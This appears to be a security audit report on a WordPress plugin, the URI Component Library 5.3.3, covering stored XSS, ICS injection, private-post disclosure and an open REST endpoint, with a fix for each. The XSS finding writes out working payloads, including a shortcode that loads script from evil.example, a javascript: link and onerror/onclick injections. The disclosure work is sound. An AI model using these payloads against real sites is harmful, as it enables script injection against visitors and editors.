URI Component Library WP Registry grade D+. High-severity findings · 4 findingsWP RegistryHigh-severity findings · 4 findingsOpen the reportD+

High-severity findings.

Audited release

5.3.3

Findings

4

Worst severity

high

Content hash

0c978bb31f18d168ed496ba6… Copy

Findings

• high Stored XSS via unescaped shortcode/block attributes and contentWrapper tag injection

  xss_stored

  Component templates concatenate shortcode/block attributes into HTML with almost no esc_html/esc_attr/esc_url. Three concrete, kses-surviving paths for Contributor+ (edit_posts; Authors can publish immediately): (1) contentWrapper on cl-boxout, cl-notice, and cl-panel is interpolated as a raw tag name and is not in check_atts, so [cl-boxout contentWrapper="script src=https://evil.example/x.js"]x[/cl-boxout] becomes a real <script src> on the_content — no < characters in the stored post, so wp_kses_post does not strip it. Gutenberg visual edit() resets contentWrapper to '', but classic/text/shortcode and hand-edited block comments still work. (2) uri_cl_validate_url() uses status 'warning' (not fatal) on FILTER_VALIDATE_URL failure and still assigns the original value, so [cl-button link="javascript:alert(1)" text="Click"] (and social/promo/card hrefs) render javascript: URLs; the TinyMCE button dialog exposes Link. Attribute breakout in tooltip/css/class/title (e.g. tooltip='x" onclick="alert(1)') likewise survives because it is not HTML tags. (3) cl-template-menu.php puts $atts['title']/$atts['name'] in data-name; js/cl.built.js does element.innerHTML = getAttribute('data-name'), which executes <img src=x onerror=...>. Validation error HTML (shown to every logged-in user, including Subscriber) also echoes the unsanitized value. Observable: published page HTML contains attacker script/event handlers; visitors and previewing editors execute it.

  inc/templates/cl-template-boxout.php:30-32

  Recommendation

  Whitelist contentWrapper to a fixed set of tags (e.g. p, div, span) or drop the attribute. Escape every attribute for its context: esc_html for text, esc_attr for attributes, esc_url for href/src (and reject javascript: data: vbscript:). Make invalid URLs fatal in uri_cl_validate_url() instead of warnings that still render. Use textContent, not innerHTML, for the menu data-name label. Apply the same escaping in all inc/templates/cl-template-*.php and uri_cl_build_img_tag().

• medium Unauthenticated standalone ICS endpoint reflects unsanitized POST into headers and calendar body

  unsafe_input

  inc/cl-ics.php is web-reachable plugin PHP with no ABSPATH guard, no WordPress bootstrap, no nonce, and no capability check. The date component posts a form to URI_CL_URL . 'inc/cl-ics.php'. Anyone can POST summary, date_start, and filename. Content-Disposition concatenates $_POST['filename'] (header injection is rejected on PHP 7.4+ required by composer, but the name is still unsanitized). SUMMARY and DTSTART concatenate the same POST fields with no newline/colon folding, so an attacker can inject extra ICS properties (ATTACH, URL, DESCRIPTION) into a file downloaded from the site origin. A CSRF auto-submit from a third-party page causes the victim to download a malicious calendar file that appears to come from the WordPress site. No site options are written; blast radius is the generated download.

  inc/cl-ics.php:8-28

  Recommendation

  Route ICS generation through admin-post or a REST route with a nonce; do not leave a bare PHP file in the plugin directory. Sanitize filename with sanitize_file_name() and a quoted Content-Disposition. Strip CR/LF and fold ICS text values (preg_replace('/[\r\n]+/', ' ', ...)) so extra properties cannot be injected. Ignore unexpected POST keys.

• medium Story card shortcode discloses private/draft post title, excerpt, and thumbnail by ID

  information_disclosure

  cl-template-scard.php loads get_permalink, get_the_post_thumbnail, get_the_title, get_the_excerpt, get_the_date, and categories for $atts['post'] with no get_post_status / current_user_can('read_post') / post_password_required() check. get_the_excerpt($id) returns $post->post_excerpt for any ID including private and draft (passworded posts only get a generic string). A Contributor can POST action=uri_cl_wysiwyg&sc=[cl-scard post=N] (edit_posts passes; no nonce) and receive JSON HTML of that post's title/excerpt/thumbnail, or an Author can publish the shortcode on a public page and leak the same to anonymous visitors. post IDs are sequential and enumerable.

  inc/templates/cl-template-scard.php:14-20

  Recommendation

  Load the post with get_post() and abort unless is_post_publicly_viewable($post) or current_user_can('read_post', $post). Honor post_password_required(). Apply the same gate before the wysiwyg AJAX do_shortcode path. Add a nonce to uri_cl_wysiwyg.

• low Unauthenticated REST /menus lists all navigation menus

  missing_permission_callback

  register_rest_route('uri-component-library/v1','/menus') uses permission_callback __return_true and returns wp_get_nav_menus() (nav_menu terms: term_id, name, slug, description, count). Core's wp/v2/menus endpoint requires edit_theme_options; this plugin re-exposes the menu catalog to anonymous clients. Menu items (URLs) are not included. Intended for the Gutenberg menu block picker, but it is a public GET. Observable: GET /wp-json/uri-component-library/v1/menus returns every menu including unused ones whose names/descriptions may be internal.

  uri-component-library.php:99-117

  Recommendation

  Set permission_callback to a closure that returns current_user_can('edit_posts') (or edit_theme_options). If the block needs the list only in the editor, do not expose it on the public REST namespace.

WP Registry hashes the installable build and reports on that exact bytes-for-bytes copy. Embargoed findings are withheld until they are disclosed, so a clean verdict means nothing public is outstanding. WP Manifest does not audit code itself.